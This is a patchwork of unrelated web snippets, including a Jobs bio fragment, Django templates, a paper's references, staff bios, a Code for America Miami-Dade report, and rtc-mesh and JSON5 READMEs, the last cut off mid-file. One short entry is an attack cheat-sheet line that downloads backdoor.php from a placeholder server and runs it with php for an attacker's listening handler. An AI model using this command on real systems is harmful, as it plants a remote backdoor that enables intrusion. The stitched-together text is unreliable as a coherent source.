- 2011 - Died at his Palo Alto, California home, due to complications from a relapse of his previously treated islet-cell pancreatic neuroendocrine tumor, which resulted in respiratory arrest.
To know more about Jobs, please follow this wikipedia page


{% extends "publications_bootstrap/base.html" %}
{% block app_head %}
{% endblock %}
{% block app_content %}
{% for year, publications in years %}
{% include 'publications_bootstrap/components/section.html' with title=year %}
{% endfor %}
{% endblock %}


nips nips2003 nips2003-181 nips2003-181-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Alice X. Zheng, Michael I. Jordan, Ben Liblit, Alex Aiken
Abstract: We present a novel strategy for automatically debugging programs given sampled data from thousands of actual user runs. Our goal is to pinpoint those features that are most correlated with crashes. This is accomplished by maximizing an appropriately deﬁned utility function. It has analogies with intuitive debugging heuristics, and, as we demonstrate, is able to deal with various types of bugs that occur in real programs. 1
[1] B. Liblit, A. Aiken, A. X. Zheng, and M. I. Jordan. Bug isolation via remote program sampling. In ACM SIGPLAN PLDI 2003, 2003.
[2] A. Blum and P. Langley. Selection of relevant features and examples in machine learning. Artiﬁcial Intelligence, 97(1-2):245–271, 1997.
[3] I. Guyon and A. Elisseeff. An introduction to variable and feature selection. Journal of Machine Learning Research, 3:1157–1182, March 2003.
[4] E. L. Lehmann. Testing Statistical Hypotheses. John Wiley & Sons, 2nd edition, 1986.
[5] T. Hastie, R. Tibshirani, and J. Friedman. The Elements of Statistical Learning. Springer–Verlag, 2001.
[6] J.-B. Hiriart-Urruty and C. Lemarechal. Convex Analysis and Minimization Algorithms, volume II. Springer–Verlag, 1993.
[7] N. Japkowicz and S. Stephen. The class imbalance problem: a systematic study. Intelligent Data Analysis Journal, 6(5), November 2002.


Level Select
Level One
Level Two
Level Three
Level Four
Level Five
Day/Night
Day
Night
Map
Small
Middle
Large
Number Of Vehicle
5
6
7
8
9
10
Number Of Pedestrain
5
6
7
8
9
10
Confirm


Welcome to my About the project page. This landing page will be deployed using node.js. It is part of the lab assignment for sprint 5. On this page, you can still see all of the work that I have completed during the fall semester of 2020 in Software Engineering Class with professor Pogue. The work will be grouped by sprints. You Can also check out the original landing page here.


At fifteen I set my heart upon learning. At thirty, I planted my feet firm upon the ground. At forty, I no longer suffered from perplexities. At fifty, I knew what were the biddings of Heaven. At sixty,I heard them with docile ear. At seventy, I could follow the dictates of my own heart; for what I desired no longer overstepped the boundaries of right.
I will not be afflicted at men’s not knowing me; I will be afflicted that I do not know men.


{% extends "search/object_list.html" %} {% block title %}Search resources - {{ block.super }}{% endblock title %}


The famous and the infamous: These are the 3 doccies you should be watching tonight!
Cape Town – There's nothing quite like uncovering something you might not have known.
That's why we've rounded up three of the most engrossing doccies about some of the world's most infamous and famous figures. From the much-loved singer Whitney Houston to the criminal mastermind, Pablo Escobar.
Here are our 3 recommendations.
Whitney
Whitney Houston's voice was one of the most iconic of her generation and beyond. Candid archival footage and interviews with family members shed light on the life, work and struggles of artist and person.
 This two-hour doccie includes never-before-seen footage and interviews with insiders.
Demi Lovato: Simply Complicated
This full-length documentary that gives a personal and intimate look into what it was like for Demi to be a pop star at the top of her powers. Directed by Hannah Lux Davis, this film was released a year before Demi's near-fatal overdose.
Compiled by Alex Isaacs


beverage
bread
casserole
chili
cocktails
dessert
fish
frosting and icing
jam and jelly
main
meat
omelette
pancake
pasta
pizza
salad
sandwich
sauce
snacks
soup
stock
rice
sushi
vegetable
waffle
Send


REQUIREMENT: php installed, command execution
TARGET: wget -O /tmp/backdoor.php <SERVER>/<Path>/backdoor.php && php -f backdoor.php
ATTACKER: favorite listening handler


Personnel
The iUTAH Cyberinfrastructure Team worked to facilitate data access and collaboration for iUTAH researchers and the broader Utah water resources community. Though the iUTAH project has ended, we appreciate any feedback from users of iUTAH data products.
Jeff Horsburgh led the iUTAH CI Team. Jeff is an Assistant Professor in Civil and Environmental Engineering at Utah State University.
Amber Jones worked as the iUTAH data manager. Amber is a Research Engineer at the Utah Water Research Laboratory at Utah State University. Amber worked to implement the sensor data workflow for the GAMUT data, implement solutions for sharing iUTAH social science data, design and test software, and implement the iUTAH Data Policy.
Tony Castronova worked as a Research Assistant Professor in Civil and Environmental Engineering and at the Utah Water Research Laboratory at Utah State University. Tony focused on implementing and integrating hydrologic models. He now works at CUAHSI.
Stephanie Reeder worked as a professional programmer/analyst at the Utah Water Research Laboratory at Utah State University. Stephanie led development of desktop software programs implemented for iUTAH data.
Pabitra Dash worked as a software engineer at the Utah Water Research Laboratory at Utah State University. Pabitra’s work focused on developing web systems for describing and sharing research data and models, including HydroShare. Pabitra now works at Virginia Tech.
Caleb Buahin obtained his PhD working with iUTAH Cyberinfrastructure and Research Focus Area 3. Caleb’s work focused on investigating technical approaches for coupling models and model components. Caleb is now a post-doc at Utah State University.
Philip Suiter worked as a research technician with the CI Team. Phil’s work focused on data organization and management of sensor and specimen based data. Phil completed his undergraduate in Environmental Engineering and now works for the City of Ogden, Utah.
Maurier Ramírez worked on the development of web applications for visualizing time series data, specimen based data, social science survey data, and the HydroShare platform for sharing and collaborating on research data and models. Maurier completed his undergraduate in computer science and continues to work for the Utah Water Research Laboratory.
Juan Carballo worked on development of web applications that enabled iUTAH data products to be accessed boradly. Juan completed his undergraduate in computer science and continues to work for the Utah Water Research Laboratory.
Matt Lorimer worked in partnership with the iUTAH CI Team in the implementation of hardware and server environments. Matt is a System Administrator with Utah State University's Information Technology group and is an expert in hardware and software systems for virtualization.
Steve Corbato worked to support full backups of iUTAH Cyberinfrastructure at the University of Utah. Steve was the Director of the Office of Information Technology at the University of Utah. He now works at the Oregon Health and Sciences University.


Leverage our Intelligent CDN with Edge Logic Requests
Netlifys intelligent CDN can process requests youd normally have to run through a single server or in client-side Javascript. This means you can handle processes like A/B testing, prerendering, and content localization directly on our CDN edge nodes, increasing speed and efficiency.
All plans include up to 100,000 ELRs / month.
Need more? Get in touch


|
xpcc
|
<
Classes | |
| class | Adc |
| Analog-to-Digital Converter Module of LPC111x, LPC11D14 and LPC11Cxx parts. More... | |
| class | AdcAutomaticBurst |
| Converting multiple channels in free running mode. More... | |
| class | AdcManualSingle |
| Implementation of the Manual Single Mode. More... | |
| class | Can |
| The CAN bus driver for LPC11Cxx devices. More... | |
| class | CanFilter |
| Reception Filters for the C_CAN module in LPC11C00 Series. More... | |
| class | Lpc11PllSettings |
| class | SpiMaster0 |
| Serial peripheral interface (SPI0) More... | |
| class | SpiMaster1 |
| Serial peripheral interface (SPI1) More... | |
Enumerations | |
| enum | ErrorCode { CAN_ERROR_PASSIVE_MODE, CAN_BUS_OFF_MODE, CAN_RX_OVERFLOW, CAN_FIFO1_OVERFLOW, CAN_TX_OVERFLOW } |
| enum | TMR_TCR { TCR_CEn, TCR_CRst } |
| enum | TMR_MCR { MCR_MR0I, MCR_MR0R, MCR_MR0S, MCR_MR1I, MCR_MR1R, MCR_MR1S, MCR_MR2I, MCR_MR2R, MCR_MR2S, MCR_MR3I, MCR_MR3R, MCR_MR3S } |
| enum | TMR_CCR { CCR_CAP0RE, CCR_CAP0FE, CCR_CAP0I } |
| enum | TMR_EMR { EMR_EM0, EMR_EM1, EMR_EM2, EMR_EM3, EMR_EMC0, EMR_EMC0_0, EMR_EMC0_1, EMR_EMC1, EMR_EMC1_0, EMR_EMC1_1, EMR_EMC2, EMR_EMC2_0, EMR_EMC2_1, EMR_EMC3, EMR_EMC3_0, EMR_EMC3_1 } |
| enum | TMR_CTCR { CTCR_CTM, CTCR_CTM_0, CTCR_CTM_1, CTCR_CIS, CTCR_CIS_0, CTCR_CIS_1 } |
| enum | TMR_PWMC { PWMC_PWMEN0, PWMC_PWMEN1, PWMC_PWMEN2, PWMC_PWMEN3 } |
| enum xpcc::lpc::TMR_TCR |
| enum xpcc::lpc::TMR_MCR |
| enum xpcc::lpc::TMR_CCR |
| enum xpcc::lpc::TMR_EMR |
| enum xpcc::lpc::TMR_CTCR |
| enum xpcc::lpc::TMR_PWMC |


PDFZero is a free, private PDF toolkit in your browser.
Free. PDFZero is free to use. That's it - no limits on bandwith, no limits on uses-per-hour, no subscription, no freemium. Free.
Private. Your files never leave your computer. Seriously - it works offline. When you visit a tool page, all of the code to modify your PDFs is downloaded as part of the webpage. Everything happens on your own computer, so nothing needs to be uploaded to the cloud.
PDF Toolkit. PDFZero is a collection of tools to do simple operations on PDF documents. With our tools, you can:
In your browser. Our webpages are our tools. Everyting you need to manipulate your documents is included in the html page itself. No need to install anything from us - just come prepared with a modern web browser.
Our site is built on top of some really awesome open-source tools. Notably, PDF.JS and PDF-Lib. These tools in turn allow us to display PDFs in your browser and manipulate them in pure javascript. And because javascript can run in a browser, you can use all of the tools without the files ever leaving your computer.
I do a lot of work with PDFs in my day job, and I know how important it is for small and medium-sized companies or departments to have PDF tools available for document management. With the development of the awesome open-source programming libraries above, I realized that many of the PDF tools typically hidden behind a paywall can be provided free of charge. We can afford free because we have no server costs - all of the computing power you use is on your own computer.


The Signing Authority is the person with the authority to sign the Data Access Agreement that binds your Organization to the terms and conditions document. Only one Signing Authority can be added per Organization.


Hey guys, Oktoberfest is starting soon!
It is the biggest beer festival in the world, you NOOP!
What is this Octoberfest? Never heard of...
Let's meet at Theresienwiese!
Yeah sure! Where is a good point to meet up...?
Gonna go to the Oktoberfest with some friends today. Are you wanna join us?
I am new in Minga and wanna go for the Octoberfest today. Anybody around?


Chrysalis values the partnerships we have built with both our clients and our internal team members. Each day, we strive to meet our 5 core values…
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Amazon Simple Email Service ReceiptFilter IpFilter
The
IpFilter
property type specifies whether to accept or reject mail originating from an IP address
or range of IP addresses for Amazon SES.
IpFilter
is a property of the Amazon Simple Email Service ReceiptFilter Filter property type.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
Properties
Policy
-
Indicates whether to block or allow incoming mail from the specified IP addresses.
Valid values include
Allow
andBlock
Required: Yes
Type: String
Update requires: No interruption
Cidr
-
A single IP address or a range of IP addresses that you want to block or allow, specified in Classless Inter-Domain Routing (CIDR) notation. An example of a single email address is <IP_ADDRESS>. An example of a range of IP addresses is <IP_ADDRESS>/24. For more information about CIDR notation, see RFC 2317.
Required: Yes
Type: String
Update requires: No interruption
See Also
-
Using Amazon SES Configuration Sets in the Amazon Simple Email Service Developer Guide
-
ReceiptIpFilter in the Amazon Simple Email Service API Reference


How to Create a Paper Plane
Home
Video
Written Instructions
Home
Video
Written Instructions
menu
Learn how to create a paper airplane.
Video Instruction
Written Instruction


--- layout: post title: Are these prototypes really interesting? date: 2005-10-10 00:00:00 categories: digital-media mobile ---
Are these prototypes really all that interesting? Phones that are jewellery, phones that are all screen, curved devices, thin devices... a lot of this stuff isn't speculation, it's nigh-there, and I would imagine that there's much more interesting stuff lurking in the depths of Nokia than this.
Me? I want to know what happens to us as a society when the third world get the sort of mobile penetration we are fortunate enough to have now - when the starving can communicate directly with the well-fed, say.


The Extensions plugin allows you to display the HDU extensions in a multi-extension FITS file. Simply click on the desired extension to display it.
By default, the display (including the underlying raw data) of the new extension replaces the previous data in the same image. If, however, the Display each extension as a separate image checkbox is selected, each succeeding extension will be displayed as a separate image, so that you can view two or more extensions simultaneously. In this case, you can use the Blink extension to blink the extensions or the File->move image to menu option to move an extension to a existing display or new light window. In all cases, the raw data for that extension is available for browser-based analysis.
Note that some extensions are not available for display, including images of less than two dimensions, and binary tables not containing x and y columns. These extensions are marked as invalid by a strike through their description.
See the FITS Primer for information about HDUs and multi-extension FITS.


{% extends "base.html" %} {% block title %}Instructors • {{ block.super }}{% endblock %} {% block content_container %}
Richard Cornish is the instructor of the “HTML & CSS Honors” course.
Rich is a product designer at Next Health Choice, a digital healthcare startup dedicated to improving and automating the medical procedure experience for patients. He teaches a Meetup for beginning Python web development students, and has volunteered to mentor for organizations such as Django Girls, Dev Bootcamp, and The Starter League. He has been coding HTML and CSS for more than 10 years.
Rich earned his Master of Science and Bachelor of Science degrees in journalism from the University of Illinois at Urbana-Champaign, where he taught information design to undergraduate students.
He is thrilled to empower and inspire young people to use technology to create things that will have a positive impact on others. This is his first year instructing for CTD.
Howard Robinson is the teaching assistant of the “HTML & CSS Honors” course.
Howard is an anthropology and religious studies student at DePauw University, where his interest in technology lets him create the websites of student organizations and groups. Howard graduated top five in his high school class and was winner of the Four-Year Full Tuition Scholarship Posse for DePauw. He was recipient of the Enough Chicago Scholarship and his writing has been published in TrueStar Magazine.
Howard hopes to learn about new technology, new methods of teaching, and what it takes to teach technology in a modern American institution. He is excited to help make the learning experience for students as engrossing and worthwhile as possible.
He loves working with robotics and gaming on Xbox One and PlayStation 4.


No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure
No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure
No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure
No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure


Executive Summary
The running joke about Miami is that it's great, because it's "so close to the United States!" The metropolitan area, which is comprised of 34 municipalities and Miami-Dade County itself, is unique not only because of its substantial Latin American population, but also because of its geographical location and its position as the financial capital of Latin America. It's also one of the largest cruise ship ports in the world and as such, a major tourist hub.
Miami-Dade County applied as a Code for America partner government seeking help with its Department of Regulatory and Economic Resources (RER), a massive department that resulted from the Mayor's consolidation of 12 departments into one. RER oversees everything from building permits and zoning to film permits, environmental resource management, and small business licensing.
During February residency, the Fellows discovered many challenges facing the County and mulled over a number of possible interventions. The overarching themes of the most interesting challenges and interventions quickly became clear: transparency and engagement. The County's practices and procedures are largely opaque, a situation that isn't helped by a Byzantine web presence and language barrier that comes when half of your population doesn't speak English. Other cultural and language barriers also likely contribute to a very low citizen engagement rate with the government.
As a result of extensive research in February and beyond, the Fellows have selected a primary project that focuses on closing the feedback loop between the County and its citizens, as well as several side projects that support the overall goals of increasing transparency and engagement in Miami-Dade County.
Team Miami-Dade
Miami-Dade County Partners
Community Partners
The Problem
How can we use technology to usher in an era of transparent communication between Miami-Dade County, businesses and engaged citizens?
The Context
Miami-Dade County is home to 2.5 million residents, many of whom are foreign-born or first-generation citizens. Taken on the whole, the people of the County are disengaged from their government, resulting in a routinely low voter turnout and a seeming disinterest in taking part in their own governance. This lack of engagement stems from people's previous experiences with government, the County's own opaque practices and processes, and a sense in the community that the government is simply not listening.
Of this 2.5 million-person population, roughly half live in unincorporated Miami-Dade County, referred to as UMSA. Roughly half are also primarily Spanish speakers, with little to no English at their disposal. Visitors to Miami are just as likely to hear Spanish (or Kreyole) as often as English. Miami's location on the southern end of Florida, and its proximity to Cuba and Latin America make it a perfect location for international shipping and banking in Latin America. If you happen to be on Miami Beach or near the urban core, you may hear other languages spoken as well, a product of Miami's status as a tourist and cruise-ship hub.
Miami-Dade County as a government is the second-largest governing body in the state, second only to the state of Florida itself. The mayor, Carlos Giménez, is a strong mayor who has made significant changes to the government since taking office in 2011. Currently, the County, which is home to 2.5 million residents, employs some 26,000 employees and operates on a $6 billion annual budget. The County's authority supersedes the many municipal governments that collectively make up "Miami," including the City of Miami, Miami Beach, Coral Gables, and 31 others. The County also provides city services to the unincorporated municipal service area, often referred to as UMSA.
Those times that people do engage with their government, in the context of our research and experience, are when they either need something (like heavy trash pickup or a building permit), or when they've gotten in trouble for something (like when their new deck is out of compliance with the building code). The general sentiment is that although it's leaps and bounds better than some of the municipal governments, working with Miami-Dade County is difficult, time-consuming, and expensive.
Because our funding is coming from the Department of Regulatory and Economic Resources (RER), our focus has fallen especially hard on building and permitting. This is a part of the County that sees a lot of traffic and generates a lot of revenue, as anyone wishing to build or modify a building in the area is required to go through the County (as well as whatever municipality they're located in).
The Reason Why
The Fellows have seen huge disconnects in this area, between the perceptions the people have of the processes, and the perception the County has. The County's motto is "Delivering Excellence Every Day," and it's a sincere motto: County employees do in all earnestness work to provide their customers the best service possible. The customers, on the other hand, don't necessarily feel that to be the case: they're often frustrated by a lack of information about building and permitting or sticker-shocked at the cashiers' counters. The tendency is to place the blame for these negative feelings and experiences not necessarily on County employees themselves, but on the County on the whole.
The Goals
Encourage and support transparency on the part of the County government by:
- Encourage the writing & acceptance of an open data policy, to go with their existing open data portal.
- Encourage the continued addition of data sets to the existing open data portal.
- Encourage the gathering of feedback and the subsequent ACTION on that feedback.
- Encourage community engagement with the County government by demonstrating that feedback is being heard (at the least) and acted upon (best case scenario).
The Strategy
We’re looking to encourage engagement with the county by adding transparency to the current feedback process at the PIC (pilot project) specifically, and more generally by encouraging the county to open up their data even more than they have already. This entails revamping the existing feedback loop by:
- Making the process bilingual as roughly 50% of the citizenry is more comfortable in Spanish than English
- Automate the collection and initial analysis of feedback from the public
- Display the feedback/metrics in an attractive, easy-to-understand at-a-glance view intended for the County stakeholders, but accessible by the public as well
- Contribute collected data to the open data portal
We’ll also be working on side projects intended to support transparency in short-term event permitting, business licensing, and 311 as well as the open data portal.
The Work (so far)
What we have built can be divided into quick wins and major projects.
Quick Wins
Miami-Dade County is unique in that not only does it offer county services, but it offers city services to the approximately 1.2 million people living in the Unincorporated Municipal Service Area (UMSA). However, folks living in the unincorporated areas still have a postal address of Miami, which can be confusing since those addresses are outside the city boundaries of Miami and do not receive city of Miami services.
A quick tech project to address this was that we localized two CFA projects locally; one project is a localization of the US Census API - https://github.com/codeforamerica/mdc-municipality-geo-api - which takes a shapefile and creates web services for developers to easily find what municipality you’re in.
The other project is a localization of the 2012 Am I In Las Vegas project called Am I In Miami - http://amiinmiami.herokuapp.com . This takes the same concept of helping users understand county versus city but in a clearer interface.
Miami-Dade County Google Analytics dashboard - https://ancient-basin-7852.herokuapp.com/ - as a proof of concept of the types of projects fellows could implement, on our first day of our research trip to Miami we spun off a Google Analytics dashboard for Miami-Dade County.
AgendaBot 305 - https://twitter.com/agendabot305 - when we briefly looked into projects dealing with agendas for county commissioner meetings, we built a quick app that would tweet out whenever a recording of a meeting was available.
311 KB Master Template using Animal Services Department (ASD) topics: We helped Jaime, a staff member at CIAO, with Knowledge Base (KB) Templates related to ASD spay practices, using best practices at Code for America that bring optimal user-friendly web content.
Major Projects
A feedback platform that brings in data from multiple channels, with the goal to run analysis so they can give better guidance to policy makers.
Short-term Events Summit: In mid-April we brought key stakeholders of the short-term/special events permitting process from the county to be in one room for an “elephant drawing” exercise, with the goal of mapping a process in its entirety.
From there we produced a guide to help people going through the short-term events permitting process for the first time. Our hope is to continue iterating on both the content and the format.
Before: Permitting Procedures for Short Term Events (http://www.miamidade.gov/permits/library/brochures/short-term-events.pdf) - an existing pamphlet used by the Miami-Dade Building department.
After: The User Guide to Short Term Events Permitting in UMSA - https://docs.google.com/document/d/1HZUfvZBcLxPakpjawR8OHSdjFeyju7FmXemj8_jU4hQ/edit
The Timeline
January: training, build week project that gave us an introduction to the rabbit hole that is the PIC February: residency. met with [list of people who are still relevant], dipped toes into the PIC and got to know the city a little better March: ideas phase. started with 140+, spent a lot of time synthesizing research, making further connections. Ernie built agendabot305, began instagram project and trying to figure out what the Main Attraction was going to be. Eventually narrowed the 140+ down to 10, then down to 1: feedback, after talking with staff and seeking advice. Side projects continued: open data support, STEP process, instagram. Planned return trip to Miami. April: further refined feedback idea and planned research events onsite in Miami. Returned to Miami. Hosted STEP event for stakeholders, conducted user research at the PIC. Each of us took a much needed break and continued to analyze what we’d learned while onsite. May: drew our own elephant to map out what we envision our final project to be. Set milestones and deadlines for BETA and mid-year and began asking for access to the relevant county data sets. Examined surveying tools and decided on entry points, questions and possible metrics. Created surveys in two languages. Stood up Typeform. Connect311 meeting. Ernie’s participation as Brigade member in open data open letter. Began work on functional prototype of feedback system, including wireframes and data analysis stack.The Tools
Tools: Textizen, City Voice, Typeform, Mailchimp, Python/Postgres, Photoshop, InVision, HTML/CSS, Google DriveWhat's Next
Continuing community involvement with local organizations, businesses and groups to push the county’s needle forward in getting an open data policy and more accessible civic data
Continue with individual side projects.
Sophia is working on a study of getting a business license in San Francisco, CA and in Miami-Dade County, Fla.
Mathias and Ernie have been localizing the CFA Connect app to work for SF 311, where Mathias worked before joining the Fellowship. The hope is that should it prove successful we’ll see if its relevance for Miami-Dade’s 311 system.
Ernie is doing an assortment of things he doesn’t know where to begin with.


Behind the Scenes
The videos below are an un-curated list of videos that I typically send to clients to update them on the progress of a project.
--- title: Behind the Scenes permalink: /bts/ theme-template: portfolio-3-grid.html --- {% include head.html %}
{% include scripts.html %}


rtc-mesh
NOTE: From version 0.5
onwards rtc-mesh
is now an
rtc-quickconnect plugin
(which is heaps better and cleaner).
The rtc-mesh
module provides a way of sharing data between clients using
scuttlebutt.
Simple Example
var quickconnect = require('rtc-quickconnect');
var mesh = require('rtc-mesh');
// initialise the connection
var qc = quickconnect('http://rtc.io/switchboard', {
room: 'meshdemo-simple'
});
// create the model
var model = mesh(qc);
// report data change events
model.on('change', function(key, value) {
console.log('captured change key: "' + key + '" set to ', value);
});
model.set('lastjoin', Date.now());
Using Scuttlebutt Subclasses
In the case that you would like to use one of the
Scuttlebutt subclasses,
this can be done quite easily be providing a model instance in the model
option in the opts
argument. Here's an example using
CRDT:
var quickconnect = require('rtc-quickconnect');
var mesh = require('rtc-mesh');
var Doc = require('crdt').Doc;
var uuid = require('uuid');
// initialise the connection
var qc = quickconnect('http://rtc.io/switchboard', {
room: 'meshdemo-crdt'
});
// create the model
var model = mesh(qc, { model: new Doc() });
model.on('add', function(row) {
console.log('new row created: ', row);
});
model.add({ id: uuid.v4(), name: 'Fred' });
Synchronizing Multiple Datasets
It's also possible to create invoke multiple meshes on a single data
channel using custom channel names (by default the a channel is created with
the name of mesh
).
var quickconnect = require('rtc-quickconnect');
var mesh = require('rtc-mesh');
// initialise the connection
var qc = quickconnect('http://rtc.io/switchboard', {
room: 'meshdemo-multichannel'
});
// create the models
var modelA = mesh(qc, { channelName: 'm1' });
var modelB = mesh(qc, { channelName: 'm2' });
// report data change events
modelA.on('change', function(key, value) {
console.log('captured change for item in a: ', arguments);
});
modelB.on('change', function(key, value) {
console.log('captured change for item in b: ', arguments);
})
// update some keys
modelA.set('lastjoin', Date.now());
modelB.set('lastRandom', (Math.random() * 10000) | 0);
Reference
mesh
mesh(qc, opts?) => Model
As displayed in the examples, the mesh
function expects to be passed a
quickconnect created signaller. Using
this object, it will create a data channel that will be responsible for sharing
scuttlebutt model information with peers.
In addition to the functions exposed by a scuttlebutt Model, the following helpers have also been added:
retrieve
retrieve(key, callback)
Get the value of the specified key and pass the result back through the
provided callback
(node error first style). If the value is already
available in the local Model, then the callback will be triggered immediately.
If not, the callback will be triggered once the value has been set in the
local Model.
License(s)
Apache 2.0
Copyright 2014 National ICT Australia Limited (NICTA)
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.


@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import config.FrontendAppConfig @import models.requests.ServiceInfoRequest @this( main_template: main_template ) @(appConfig: FrontendAppConfig, utr: Option[SaUtr])(serviceInfoContent: Option[Html])(implicit request: Request[_], messages: Messages) @main_template( title = messages("payment_and_penalties.title"), appConfig = appConfig, bodyClasses = Some("business-tax"), serviceInfoContent = serviceInfoContent) {
@Messages("payment_and_penalties.deadlines")
@Messages("payment_and_penalties.dont_wait")
@Messages("payment_and_penalties.understanding_payments")
@Messages("payment_and_penalties.make_sure") @Messages("payment_and_penalties.pay_penalty_link") @Messages("payment_and_penalties.late_payment")
@Messages("payment_and_penalties.depends")
@Messages("payment_and_penalties.no_longer")
@Messages("payment_and_penalties.read_info")
@components.sa_calculation()@Messages("payment_and_penalties.budget_taxbill")
@Messages("payment_and_penalties.how_do_i_budget_video")
@Messages("payment_and_penalties.how_do_i_budget_transcript")
@Messages("payment_and_penalties.penalty_showing")
@Messages("payment_and_penalties.appeal_if") @Messages("payment_and_penalties.excuse_link")@Messages("payment_and_penalties.you_must_appeal")
@if(utr.isDefined) {@Messages("payment_and_penalties.conditional.you_can")
@Messages("payment_and_penalties.conditional.send_contact")
}@Messages("payment_and_penalties.find_more")
@Messages("payment_and_penalties.conditional.no_penalties")
} }


Kerm.is is a website made by Bart Van Itterbeeck & Robbert Wolfs. These two Web&UX students wanted to do something with new web technologies like WebGL, motion control and sockets. So they started Kerm.is, a website where you can play all kind of different carnival games.
They wanted to let the user expierence something totally new! What if the user could play a game with their smartphone as controller or just their hands? To accomplisch this Bart & Robbert used Node.js, websockets and a leap motion.
But why didn't they use a 3D program like Unity? Because Bart & Robbert don’t like to install plugins and they wanted to learn new native, cool webtechnologies. This was a challenge they both looked forward to!
Now go and try these awesome games and be wowed with the wonders of the world wide web!


Provides the input as output delayed by Tdel if the
input holds its value for a longer time than Tdel. If the
time is less than Tdel the initial value y0
holds.
The delay Tdel depends on the values of the signal change.
To calculate Tdel, the DelayTable specified in
Digital.Tables is used. If the corresponding value is 1, then
tLH is used, if it is -1, then tHL is used, if it
is zero, the input is not delayed.
- January 24, 2013 Initial value for y set to y0 by
Kristin Majetta and Christoph Clauss
- September 8, 2009 pre(y) and x are used to select
tHL or tLH by Ulrich Donath
- January 13, 2005 improved when-conditions and
declaration of delayTable by Dynasim
- September 15, 2004 color changed, names changed by
Christoph Clauss
- May 12, 2004 test if Tdel=0 replaced by
Christoph Clauss
- February 5, 2004 handling of tHL=0 or
tLH=0 revised by Christoph Clauss
- October 12, 2003 by Christoph Clauss
initially modelled
Generated at 2019-01-25T16:44:03Z by OpenModelica 1.14.0~dev-130-gefa44fb


There's (still!) a bit of a shortage of example code for ClientCookie and ClientForm &co., because the stuff I've written tends to either require access to restricted-access sites, or is proprietary code (and the same goes for other people's code).
Use this _socket.pyd, or use Python 2.3.
Three good options:
-trace
,
and filter out the junk with a script.
I'm told you can also use a proxy like proxomitron (never tried it myself). There's also a commercial MSIE plugin.
It is possible to embed script in HTML pages (sandwiched between
<SCRIPT>here</SCRIPT>
tags, and in
javascript:
URLs) - JavaScript / ECMAScript, VBScript, or
even Python. These scripts can do all sorts of things, including causing
cookies to be set in a browser, submitting or filling in parts of forms in
response to user actions, changing link colours as the mouse moves over a
link, etc.
 Here they are, roughly in order of simplicity.
CookieJar
instance, calling methods on
HTMLForm
s, calling urlopen
, etc.
The request / response processing extensions to urllib2 from ClientCookie
have been merged into urllib2 for Python 2.4. The cookie processing has
been added, as module cookielib. Eventually, I'll submit patches to get
the http-equiv, refresh, and robots.txt code in there too, and maybe
mechanize.UserAgent
too (but not
mechanize.Browser
). The rest, probably not.
John J. Lee, January 2005.


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Bike Gear Guard Upgrade
Personal Project — December 2020
×
The gear guard on my bike broke off one day, so I decided I would design a new one for it. I modelled the renovated gear guard in SolidWorks and printed it on my Ender 3 Pro in PLA.
I drew a couple of different designs and surveyed everyone in my social circles, asking "which one would look coolest on my bike?" After receiving the results, I took some measurements, modelled the preferred one, printed it out, and attached it to my bike with some screws.


JSON is an excellent data format, but we think it can be better.
JSON5 is a proposed extension to JSON that aims to make it easier for humans to write and maintain by hand. It does this by adding some minimal syntax features directly from ECMAScript 5.
JSON5 remains a strict subset of JavaScript, adds no new data types, and works with all existing JSON content.
JSON5 is not an official successor to JSON, and JSON5 content may not work with existing JSON parsers. For this reason, JSON5 files use a new .json5 extension. (TODO: new MIME type needed too.)
The code here is a reference JavaScript implementation for both Node.js and all browsers. It's based directly off of Douglas Crockford's own JSON implementation, and it's both robust and secure.
JSON isn't the friendliest to write. Keys need to be quoted, objects and arrays can't have trailing commas, and comments aren't allowed — even though none of these are the case with regular JavaScript today.
That was fine when JSON's goal was to be a great data format, but JSON's usage has expanded beyond machines. JSON is now used for writing configs, manifests, even tests — all by humans.
There are other formats that are human-friendlier, like YAML, but changing from JSON to a completely different format is undesirable in many cases. JSON5’s aim is to remain close to JSON and JavaScript.
The following is the exact list of additions to JSON's syntax introduced by JSON5. All of these are optional, and all of these come from ES5.
Object keys can be unquoted if they're valid identifiers.
Yes, even reserved keywords (like default
) are valid unquoted keys in ES5
[§11.1.5, §7.6].
(TODO: Unicode characters and escape sequences aren’t yet supported in this implementation.)
Objects can have trailing commas.
Strings can be single-quoted.
Strings can be split across multiple lines; just prefix each newline with a backslash. [ES5 §7.8.4]
Numbers can be hexadecimal (base 16). (But note that neither signed hexadecimals nor hexadecimal floats are allowed by ES5.)
Numbers can begin or end with a (leading or trailing) decimal point.
Numbers can include Infinity
and -Infinity
.
Numbers can begin with an explicit plus sign.
The following is a contrived example, but it illustrates most of the features:
{
foo: 'bar',
while: true,
this: 'is a \
multi-line string',
// this is an inline comment
here: 'is another', // inline comment
/* this is a block comment
that continues on another line */
hex: 0xDEADbeef,
half: .5,
delta: +10,
to: Infinity, // and beyond!
finally: 'a trailing comma',
oh: [
"we shouldn't forget",
'arrays can have',
'trailing commas too',
],
}
This implementation's own package.json5 is more realistic:
// This file is written in JSON5 syntax, naturally, but npm needs a regular
// JSON file, so compile via `npm run build`. Be sure to keep both in sync!
{
name: 'json5',
version: '0.2.0',
description: 'JSON for the ES5 era.',
keywords: ['json', 'es5'],
author: 'Aseem Kishore<EMAIL_ADDRESS>contributors: [
'Max Nanasy<EMAIL_ADDRESS>],
main: 'lib/json5.js',
bin: 'lib/cli.js',
dependencies: {},
devDependencies: {
mocha: '~1.0.3',
},
scripts: {
